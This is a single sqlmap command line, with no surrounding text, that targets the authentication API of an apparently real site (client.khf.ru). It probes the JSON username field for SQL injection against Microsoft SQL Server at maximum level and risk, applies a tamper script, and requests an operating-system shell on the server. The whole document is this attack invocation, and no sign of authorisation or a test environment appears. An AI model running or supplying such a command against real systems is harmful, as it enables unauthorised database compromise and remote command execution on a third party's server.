---

python3 ./sqlmap.py -u "https://client.khf.ru/api/User/authenticate" --data='{"username":"test","password":"test"}' --headers="Content-Type: application/json" -p "username" --dbms=mssql --level=5 --risk=3 --tamper=jsonunescape --os-shell